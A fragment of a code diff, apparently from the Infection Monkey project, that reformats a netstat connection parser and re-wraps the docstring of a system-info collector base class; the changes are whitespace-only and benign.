(AF_INET, SOCK_STREAM): "tcp",
(AF_INET6, SOCK_STREAM): "tcp6",
(AF_INET, SOCK_DGRAM): "udp",
(AF_INET6, SOCK_DGRAM): "udp6",
(AF_INET, SOCK_STREAM):"tcp",
(AF_INET6, SOCK_STREAM):"tcp6",
(AF_INET, SOCK_DGRAM):"udp",
(AF_INET6, SOCK_DGRAM):"udp6",
}
@staticmethod
@ -33,11 +34,11 @@ class NetstatCollector(object):
@staticmethod
def _parse_connection(c):
return {
"proto": NetstatCollector.proto_map[(c.family, c.type)],
"local_address": c.laddr[0],
"local_port": c.laddr[1],
"remote_address": c.raddr[0] if c.raddr else None,
"remote_port": c.raddr[1] if c.raddr else None,
"status": c.status,
"pid": c.pid,
"proto":NetstatCollector.proto_map[(c.family, c.type)],
"local_address":c.laddr[0],
"local_port":c.laddr[1],
"remote_address":c.raddr[0] if c.raddr else None,
"remote_port":c.raddr[1] if c.raddr else None,
"status":c.status,
"pid":c.pid,
}

View File

@ -7,9 +7,12 @@ from infection_monkey.utils.plugins.plugin import Plugin
class SystemInfoCollector(Plugin, metaclass=ABCMeta):
"""
ABC for system info collection. See system_info_collector_handler for more info. Basically, to implement a new system info
collector, inherit from this class in an implementation in the infection_monkey.system_info.collectors class, and override
the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the collector to the configuration
ABC for system info collection. See system_info_collector_handler for more info. Basically,
to implement a new system info
collector, inherit from this class in an implementation in the
infection_monkey.system_info.collectors class, and override
the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the
collector to the configuration
as well - see monkey_island.cc.services.processing.system_info_collectors for examples.
See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide.

Some files were not shown because too many files have changed in this diff Show More